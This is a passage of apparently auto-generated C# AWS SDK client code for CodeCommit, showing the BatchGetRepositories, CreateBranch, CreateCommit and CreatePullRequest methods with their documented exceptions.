CodeCommit.</returns> /// <exception cref="Amazon.CodeCommit.Model.EncryptionIntegrityChecksFailedException"> /// An encryption integrity check failed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyAccessDeniedException"> /// An encryption key could not be accessed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyDisabledException"> /// The encryption key is disabled. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyNotFoundException"> /// No encryption key was found. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyUnavailableException"> /// The encryption key is not available. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidRepositoryNameException"> /// At least one specified repository name is not valid. /// /// <note> /// <para> /// This exception only occurs when a specified repository name is not valid. Other exceptions /// occur when a required repository parameter is missing, or when a specified repository /// does not exist. /// </para> /// </note> /// </exception> /// <exception cref="Amazon.CodeCommit.Model.MaximumRepositoryNamesExceededException"> /// The maximum number of allowed repository names was exceeded. Currently, this number /// is 25. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryNamesRequiredException"> /// A repository names object is required but was not specified. /// </exception> /// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/BatchGetRepositories">REST API Reference for BatchGetRepositories Operation</seealso> public virtual Task<BatchGetRepositoriesResponse> BatchGetRepositoriesAsync(BatchGetRepositoriesRequest request, System.Threading.CancellationToken cancellationToken = default(CancellationToken)) { var options = new InvokeOptions(); options.RequestMarshaller = BatchGetRepositoriesRequestMarshaller.Instance; options.ResponseUnmarshaller = BatchGetRepositoriesResponseUnmarshaller.Instance; return InvokeAsync<BatchGetRepositoriesResponse>(request, options, cancellationToken); } #endregion #region CreateBranch /// <summary> /// Creates a new branch in a repository and points the branch to a commit. /// /// <note> /// <para> /// Calling the create branch operation does not set a repository's default branch. To /// do this, call the update default branch operation. /// </para> /// </note> /// </summary> /// <param name="request">Container for the necessary parameters to execute the CreateBranch service method.</param> /// /// <returns>The response from the CreateBranch service method, as returned by CodeCommit.</returns> /// <exception cref="Amazon.CodeCommit.Model.BranchNameExistsException"> /// The specified branch name already exists. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.BranchNameRequiredException"> /// A branch name is required but was not specified. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.CommitDoesNotExistException"> /// The specified commit does not exist or no commit was specified, and the specified /// repository has no default branch. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.CommitIdRequiredException"> /// A commit ID was not specified. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionIntegrityChecksFailedException"> /// An encryption integrity check failed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyAccessDeniedException"> /// An encryption key could not be accessed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyDisabledException"> /// The encryption key is disabled. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyNotFoundException"> /// No encryption key was found. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyUnavailableException"> /// The encryption key is not available. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidBranchNameException"> /// The specified reference name is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidCommitIdException"> /// The specified commit ID is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidRepositoryNameException"> /// At least one specified repository name is not valid. /// /// <note> /// <para> /// This exception only occurs when a specified repository name is not valid. Other exceptions /// occur when a required repository parameter is missing, or when a specified repository /// does not exist. /// </para> /// </note> /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryDoesNotExistException"> /// The specified repository does not exist. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryNameRequiredException"> /// A repository name is required but was not specified. /// </exception> /// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/CreateBranch">REST API Reference for CreateBranch Operation</seealso> public virtual CreateBranchResponse CreateBranch(CreateBranchRequest request) { var options = new InvokeOptions(); options.RequestMarshaller = CreateBranchRequestMarshaller.Instance; options.ResponseUnmarshaller = CreateBranchResponseUnmarshaller.Instance; return Invoke<CreateBranchResponse>(request, options); } /// <summary> /// Creates a new branch in a repository and points the branch to a commit. /// /// <note> /// <para> /// Calling the create branch operation does not set a repository's default branch. To /// do this, call the update default branch operation. /// </para> /// </note> /// </summary> /// <param name="request">Container for the necessary parameters to execute the CreateBranch service method.</param> /// <param name="cancellationToken"> /// A cancellation token that can be used by other objects or threads to receive notice of cancellation. /// </param> /// /// <returns>The response from the CreateBranch service method, as returned by CodeCommit.</returns> /// <exception cref="Amazon.CodeCommit.Model.BranchNameExistsException"> /// The specified branch name already exists. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.BranchNameRequiredException"> /// A branch name is required but was not specified. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.CommitDoesNotExistException"> /// The specified commit does not exist or no commit was specified, and the specified /// repository has no default branch. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.CommitIdRequiredException"> /// A commit ID was not specified. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionIntegrityChecksFailedException"> /// An encryption integrity check failed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyAccessDeniedException"> /// An encryption key could not be accessed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyDisabledException"> /// The encryption key is disabled. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyNotFoundException"> /// No encryption key was found. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyUnavailableException"> /// The encryption key is not available. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidBranchNameException"> /// The specified reference name is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidCommitIdException"> /// The specified commit ID is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidRepositoryNameException"> /// At least one specified repository name is not valid. /// /// <note> /// <para> /// This exception only occurs when a specified repository name is not valid. Other exceptions /// occur when a required repository parameter is missing, or when a specified repository /// does not exist. /// </para> /// </note> /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryDoesNotExistException"> /// The specified repository does not exist. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryNameRequiredException"> /// A repository name is required but was not specified. /// </exception> /// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/CreateBranch">REST API Reference for CreateBranch Operation</seealso> public virtual Task<CreateBranchResponse> CreateBranchAsync(CreateBranchRequest request, System.Threading.CancellationToken cancellationToken = default(CancellationToken)) { var options = new InvokeOptions(); options.RequestMarshaller = CreateBranchRequestMarshaller.Instance; options.ResponseUnmarshaller = CreateBranchResponseUnmarshaller.Instance; return InvokeAsync<CreateBranchResponse>(request, options, cancellationToken); } #endregion #region CreateCommit /// <summary> /// Creates a commit for a repository on the tip of a specified branch. /// </summary> /// <param name="request">Container for the necessary parameters to execute the CreateCommit service method.</param> /// /// <returns>The response from the CreateCommit service method, as returned by CodeCommit.</returns> /// <exception cref="Amazon.CodeCommit.Model.BranchDoesNotExistException"> /// The specified branch does not exist. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.BranchNameIsTagNameException"> /// The specified branch name is not valid because it is a tag name. Type the name of /// a current branch in the repository. For a list of valid branch names, use <a>ListBranches</a>. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.BranchNameRequiredException"> /// A branch name is required but was not specified. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.CommitMessageLengthExceededException"> /// The commit message is too long. Provide a shorter string. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.DirectoryNameConflictsWithFileNameException"> /// A file cannot be added to the repository because the specified path name has the same /// name as a file that already exists in this repository. Either provide a different /// name for the file, or specify a different path for the file. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionIntegrityChecksFailedException"> /// An encryption integrity check failed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyAccessDeniedException"> /// An encryption key could not be accessed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyDisabledException"> /// The encryption key is disabled. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyNotFoundException"> /// No encryption key was found. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyUnavailableException"> /// The encryption key is not available. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.FileContentAndSourceFileSpecifiedException"> /// The commit cannot be created because both a source file and file content have been /// specified for the same file. You cannot provide both. Either specify a source file, /// or provide the file content directly. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.FileContentSizeLimitExceededException"> /// The file cannot be added because it is too large. The maximum file size that can be /// added is 6 MB, and the combined file content change size is 7 MB. Consider making /// these changes using a Git client. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.FileDoesNotExistException"> /// The specified file does not exist. Verify that you have provided the correct name /// of the file, including its full path and extension. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.FileEntryRequiredException"> /// The commit cannot be created because no files have been specified as added, updated, /// or changed (PutFile or DeleteFile) for the commit. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.FileModeRequiredException"> /// The commit cannot be created because a file mode is required to update mode permissions /// for an existing file, but no file mode has been specified. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.FileNameConflictsWithDirectoryNameException"> /// A file cannot be added to the repository because the specified file name has the same /// name as a directory in this repository. Either provide another name for the file, /// or add the file in a directory that does not match the file name. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.FilePathConflictsWithSubmodulePathException"> /// The commit cannot be created because a specified file path points to a submodule. /// Verify that the destination files have valid file paths that do not point to a submodule. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.FolderContentSizeLimitExceededException"> /// The commit cannot be created because at least one of the overall changes in the commit /// results in a folder whose contents exceed the limit of 6 MB. Either reduce the number /// and size of your changes, or split the changes across multiple folders. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidBranchNameException"> /// The specified reference name is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidDeletionParameterException"> /// The specified deletion parameter is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidEmailException"> /// The specified email address either contains one or more characters that are not allowed, /// or it exceeds the maximum number of characters allowed for an email address. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidFileModeException"> /// The specified file mode permission is not valid. For a list of valid file mode permissions, /// see <a>PutFile</a>. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidParentCommitIdException"> /// The parent commit ID is not valid. The commit ID cannot be empty, and must match the /// head commit ID for the branch of the repository where you want to add or update a /// file. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidPathException"> /// The specified path is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidRepositoryNameException"> /// At least one specified repository name is not valid. /// /// <note> /// <para> /// This exception only occurs when a specified repository name is not valid. Other exceptions /// occur when a required repository parameter is missing, or when a specified repository /// does not exist. /// </para> /// </note> /// </exception> /// <exception cref="Amazon.CodeCommit.Model.MaximumFileEntriesExceededException"> /// The number of specified files to change as part of this commit exceeds the maximum /// number of files that can be changed in a single commit. Consider using a Git client /// for these changes. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.NameLengthExceededException"> /// The user name is not valid because it has exceeded the character limit for author /// names. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.NoChangeException"> /// The commit cannot be created because no changes will be made to the repository as /// a result of this commit. A commit must contain at least one change. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.ParentCommitDoesNotExistException"> /// The parent commit ID is not valid because it does not exist. The specified parent /// commit ID does not exist in the specified branch of the repository. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.ParentCommitIdOutdatedException"> /// The file could not be added because the provided parent commit ID is not the current /// tip of the specified branch. To view the full commit ID of the current head of the /// branch, use <a>GetBranch</a>. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.ParentCommitIdRequiredException"> /// A parent commit ID is required. To view the full commit ID of a branch in a repository, /// use <a>GetBranch</a> or a Git command (for example, git pull or git log). /// </exception> /// <exception cref="Amazon.CodeCommit.Model.PathRequiredException"> /// The folderPath for a location cannot be null. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.PutFileEntryConflictException"> /// The commit cannot be created because one or more files specified in the commit reference /// both a file and a folder. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryDoesNotExistException"> /// The specified repository does not exist. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryNameRequiredException"> /// A repository name is required but was not specified. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RestrictedSourceFileException"> /// The commit cannot be created because one of the changes specifies copying or moving /// a .gitkeep file. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.SamePathRequestException"> /// The commit cannot be created because one or more changes in this commit duplicate /// actions in the same file path. For example, you cannot make the same delete request /// to the same file in the same file path twice, or make a delete request and a move /// request to the same file as part of the same commit. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.SourceFileOrContentRequiredException"> /// The commit cannot be created because no source files or file content have been specified /// for the commit. /// </exception> /// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/CreateCommit">REST API Reference for CreateCommit Operation</seealso> public virtual CreateCommitResponse CreateCommit(CreateCommitRequest request) { var options = new InvokeOptions(); options.RequestMarshaller = CreateCommitRequestMarshaller.Instance; options.ResponseUnmarshaller = CreateCommitResponseUnmarshaller.Instance; return Invoke<CreateCommitResponse>(request, options); } /// <summary> /// Creates a commit for a repository on the tip of a specified branch. /// </summary> /// <param name="request">Container for the necessary parameters to execute the CreateCommit service method.</param> /// <param name="cancellationToken"> /// A cancellation token that can be used by other objects or threads to receive notice of cancellation. /// </param> /// /// <returns>The response from the CreateCommit service method, as returned by CodeCommit.</returns> /// <exception cref="Amazon.CodeCommit.Model.BranchDoesNotExistException"> /// The specified branch does not exist. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.BranchNameIsTagNameException"> /// The specified branch name is not valid because it is a tag name. Type the name of /// a current branch in the repository. For a list of valid branch names, use <a>ListBranches</a>. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.BranchNameRequiredException"> /// A branch name is required but was not specified. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.CommitMessageLengthExceededException"> /// The commit message is too long. Provide a shorter string. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.DirectoryNameConflictsWithFileNameException"> /// A file cannot be added to the repository because the specified path name has the same /// name as a file that already exists in this repository. Either provide a different /// name for the file, or specify a different path for the file. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionIntegrityChecksFailedException"> /// An encryption integrity check failed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyAccessDeniedException"> /// An encryption key could not be accessed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyDisabledException"> /// The encryption key is disabled. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyNotFoundException"> /// No encryption key was found. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyUnavailableException"> /// The encryption key is not available. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.FileContentAndSourceFileSpecifiedException"> /// The commit cannot be created because both a source file and file content have been /// specified for the same file. You cannot provide both. Either specify a source file, /// or provide the file content directly. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.FileContentSizeLimitExceededException"> /// The file cannot be added because it is too large. The maximum file size that can be /// added is 6 MB, and the combined file content change size is 7 MB. Consider making /// these changes using a Git client. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.FileDoesNotExistException"> /// The specified file does not exist. Verify that you have provided the correct name /// of the file, including its full path and extension. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.FileEntryRequiredException"> /// The commit cannot be created because no files have been specified as added, updated, /// or changed (PutFile or DeleteFile) for the commit. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.FileModeRequiredException"> /// The commit cannot be created because a file mode is required to update mode permissions /// for an existing file, but no file mode has been specified. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.FileNameConflictsWithDirectoryNameException"> /// A file cannot be added to the repository because the specified file name has the same /// name as a directory in this repository. Either provide another name for the file, /// or add the file in a directory that does not match the file name. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.FilePathConflictsWithSubmodulePathException"> /// The commit cannot be created because a specified file path points to a submodule. /// Verify that the destination files have valid file paths that do not point to a submodule. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.FolderContentSizeLimitExceededException"> /// The commit cannot be created because at least one of the overall changes in the commit /// results in a folder whose contents exceed the limit of 6 MB. Either reduce the number /// and size of your changes, or split the changes across multiple folders. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidBranchNameException"> /// The specified reference name is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidDeletionParameterException"> /// The specified deletion parameter is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidEmailException"> /// The specified email address either contains one or more characters that are not allowed, /// or it exceeds the maximum number of characters allowed for an email address. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidFileModeException"> /// The specified file mode permission is not valid. For a list of valid file mode permissions, /// see <a>PutFile</a>. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidParentCommitIdException"> /// The parent commit ID is not valid. The commit ID cannot be empty, and must match the /// head commit ID for the branch of the repository where you want to add or update a /// file. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidPathException"> /// The specified path is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidRepositoryNameException"> /// At least one specified repository name is not valid. /// /// <note> /// <para> /// This exception only occurs when a specified repository name is not valid. Other exceptions /// occur when a required repository parameter is missing, or when a specified repository /// does not exist. /// </para> /// </note> /// </exception> /// <exception cref="Amazon.CodeCommit.Model.MaximumFileEntriesExceededException"> /// The number of specified files to change as part of this commit exceeds the maximum /// number of files that can be changed in a single commit. Consider using a Git client /// for these changes. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.NameLengthExceededException"> /// The user name is not valid because it has exceeded the character limit for author /// names. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.NoChangeException"> /// The commit cannot be created because no changes will be made to the repository as /// a result of this commit. A commit must contain at least one change. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.ParentCommitDoesNotExistException"> /// The parent commit ID is not valid because it does not exist. The specified parent /// commit ID does not exist in the specified branch of the repository. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.ParentCommitIdOutdatedException"> /// The file could not be added because the provided parent commit ID is not the current /// tip of the specified branch. To view the full commit ID of the current head of the /// branch, use <a>GetBranch</a>. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.ParentCommitIdRequiredException"> /// A parent commit ID is required. To view the full commit ID of a branch in a repository, /// use <a>GetBranch</a> or a Git command (for example, git pull or git log). /// </exception> /// <exception cref="Amazon.CodeCommit.Model.PathRequiredException"> /// The folderPath for a location cannot be null. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.PutFileEntryConflictException"> /// The commit cannot be created because one or more files specified in the commit reference /// both a file and a folder. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryDoesNotExistException"> /// The specified repository does not exist. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryNameRequiredException"> /// A repository name is required but was not specified. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RestrictedSourceFileException"> /// The commit cannot be created because one of the changes specifies copying or moving /// a .gitkeep file. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.SamePathRequestException"> /// The commit cannot be created because one or more changes in this commit duplicate /// actions in the same file path. For example, you cannot make the same delete request /// to the same file in the same file path twice, or make a delete request and a move /// request to the same file as part of the same commit. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.SourceFileOrContentRequiredException"> /// The commit cannot be created because no source files or file content have been specified /// for the commit. /// </exception> /// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/CreateCommit">REST API Reference for CreateCommit Operation</seealso> public virtual Task<CreateCommitResponse> CreateCommitAsync(CreateCommitRequest request, System.Threading.CancellationToken cancellationToken = default(CancellationToken)) { var options = new InvokeOptions(); options.RequestMarshaller = CreateCommitRequestMarshaller.Instance; options.ResponseUnmarshaller = CreateCommitResponseUnmarshaller.Instance; return InvokeAsync<CreateCommitResponse>(request, options, cancellationToken); } #endregion #region CreatePullRequest /// <summary> /// Creates a pull request in the specified repository. /// </summary> /// <param name="request">Container for the necessary parameters to execute the CreatePullRequest service method.</param> /// /// <returns>The response from the CreatePullRequest service method, as returned by CodeCommit.</returns> /// <exception cref="Amazon.CodeCommit.Model.ClientRequestTokenRequiredException"> /// A client request token is required. A client request token is an unique, client-generated /// idempotency token that when provided in a request, ensures the request cannot be repeated /// with a changed parameter. If a request is received with the same parameters and a /// token is included, the request will return information about the initial request that /// used that token. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionIntegrityChecksFailedException"> /// An encryption integrity check failed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyAccessDeniedException"> /// An encryption key could not be accessed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyDisabledException"> /// The encryption key is disabled. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyNotFoundException"> /// No encryption key was found. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyUnavailableException"> /// The encryption key is not available. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.IdempotencyParameterMismatchException"> /// The client request token is not valid. Either the token is not in a valid format, /// or the token has been used in a previous request and cannot be re-used. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidClientRequestTokenException"> /// The client request token is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidDescriptionException"> /// The pull request description is not valid. Descriptions are limited to 1,000 characters /// in length. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidReferenceNameException"> /// The specified reference name format is not valid. Reference names must conform to /// the Git references format, for example refs/heads/master. For more information, see /// <a href="https://git-scm.com/book/en/v2/Git-Internals-Git-References">Git Internals /// - Git References</a> or consult your Git documentation. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidRepositoryNameException"> /// At least one specified repository name is not valid. /// /// <note> /// <para> /// This exception only occurs when a specified repository name is not valid. Other exceptions /// occur when a required repository parameter is missing, or when a specified repository /// does not exist. /// </para> /// </note> /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidTargetException"> /// The target for the pull request is not valid. A target must contain the full values /// for the repository name, source branch, and destination branch for the pull request. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidTargetsException"> /// The targets for the pull request is not valid or not in a valid format. Targets are /// a list of target objects. Each target object must contain the full values for the /// repository name, source branch, and destination branch for a pull request. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidTitleException"> /// The title of the pull request is not valid. Pull request titles cannot exceed 100 /// characters in length. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.MaximumOpenPullRequestsExceededException"> /// You cannot create the pull request because the repository has too many open pull requests. /// The maximum number of open pull requests for a repository is 1,000. Close one or more /// open pull requests, and then try again. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.MultipleRepositoriesInPullRequestException"> /// You cannot include more than one repository in a pull request. Make sure you have /// specified only one repository name in your request, and then try again. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.ReferenceDoesNotExistException"> /// The specified reference does not exist. You must provide a full commit ID. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.ReferenceNameRequiredException"> /// A reference name is required, but none was provided. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.ReferenceTypeNotSupportedException"> /// The specified reference is not a supported type. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryDoesNotExistException"> /// The specified repository does not exist. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryNameRequiredException"> /// A repository name is required but was not specified. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.SourceAndDestinationAreSameException"> /// The source branch and the destination branch for the pull request are the same. You /// must specify different branches for the source and destination. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.TargetRequiredException"> /// A pull request target is required. It cannot be empty or null. A pull request target /// must contain the full values for the repository name, source branch, and destination /// branch for the pull request. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.TargetsRequiredException"> /// An array of target objects is required. It cannot be empty or null. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.TitleRequiredException"> /// A pull request title is required. It cannot be empty or null. /// </exception> /// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/CreatePullRequest">REST API Reference for CreatePullRequest Operation</seealso> public virtual CreatePullRequestResponse CreatePullRequest(CreatePullRequestRequest request) { var options = new InvokeOptions(); options.RequestMarshaller = CreatePullRequestRequestMarshaller.Instance; options.ResponseUnmarshaller = CreatePullRequestResponseUnmarshaller.Instance; return Invoke<CreatePullRequestResponse>(request, options); } /// <summary> /// Creates a pull request in the specified repository. /// </summary> /// <param name="request">Container for the necessary parameters to execute the CreatePullRequest service method.</param> /// <param name="cancellationToken"> /// A cancellation token that can be used by other objects or threads to receive notice of cancellation. /// </param> /// /// <returns>The response from the CreatePullRequest service method, as returned by CodeCommit.</returns> /// <exception cref="Amazon.CodeCommit.Model.ClientRequestTokenRequiredException"> /// A client request token is required. A client request token is an unique, client-generated /// idempotency token that when provided in a request, ensures the request cannot be repeated /// with a changed parameter. If a request is received with the same parameters and a /// token is included, the request will return information about the initial request that /// used that token. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionIntegrityChecksFailedException"> /// An encryption integrity check failed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyAccessDeniedException"> /// An encryption key could not be accessed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyDisabledException"> /// The encryption key is disabled. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyNotFoundException"> /// No encryption key was found. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyUnavailableException"> /// The encryption key is not available. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.IdempotencyParameterMismatchException"> /// The client request token is not valid. Either the token is not in a valid format, /// or the token has been used in a previous request and cannot be re-used. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidClientRequestTokenException"> /// The client request token is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidDescriptionException"> /// The pull request description is not valid. Descriptions are limited to 1,000 characters /// in length. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidReferenceNameException"> /// The specified reference name format is not valid. Reference names must conform to /// the Git references format, for example refs/heads/master. For more information, see /// <a href="https://git-scm.com/book/en/v2/Git-Internals-Git-References">Git Internals /// - Git References</a> or consult your Git documentation. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidRepositoryNameException"> /// At least one specified repository name is not valid. /// /// <note> /// <para> /// This exception only occurs when a specified repository name is not valid. Other exceptions /// occur when a required repository parameter is missing, or when a specified repository /// does not exist. /// </para> /// </note> /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidTargetException"> /// The target for the pull request is not valid. A target must contain the full values /// for the repository name, source branch, and destination branch for the pull request. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidTargetsException"> /// The targets for the pull request is not valid or not in a valid format. Targets are /// a list of target objects. Each target object must contain the full values for the /// repository name, source branch, and destination branch for a pull request. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidTitleException"> /// The title of the pull request is not valid. Pull request titles cannot exceed 100 /// characters in length. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.MaximumOpenPullRequestsExceededException"> /// You cannot create the pull request because the repository has too many open pull requests. /// The maximum number of open pull requests for a repository is 1,000. Close one or more /// open pull requests, and then try again. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.MultipleRepositoriesInPullRequestException"> /// You cannot include more than one repository in a pull request. Make sure you have /// specified only one repository name in your request, and then try again. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.ReferenceDoesNotExistException"> /// The specified reference does not exist. You must provide a full commit ID. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.ReferenceNameRequiredException"> /// A reference name is required, but none was provided. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.ReferenceTypeNotSupportedException"> /// The specified reference is not a supported type. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryDoesNotExistException"> /// The specified repository does not exist. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryNameRequiredException"> /// A repository name is required but was not specified. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.SourceAndDestinationAreSameException"> /// The source branch and the destination branch for the pull request are the same. You /// must specify different branches for the source and destination. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.TargetRequiredException"> /// A pull request target is required. It cannot be empty or null. A pull request target /// must contain the full values for the repository name, source branch, and destination /// branch for the pull request. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.TargetsRequiredException"> /// An array of target objects is required. It cannot be empty or null. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.TitleRequiredException"> /// A pull request title is required. It cannot be empty or null. /// </exception> /// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/CreatePullRequest">REST API Reference for CreatePullRequest Operation</seealso> public virtual Task<CreatePullRequestResponse> CreatePullRequestAsync(CreatePullRequestRequest request, System.Threading.CancellationToken cancellationToken = 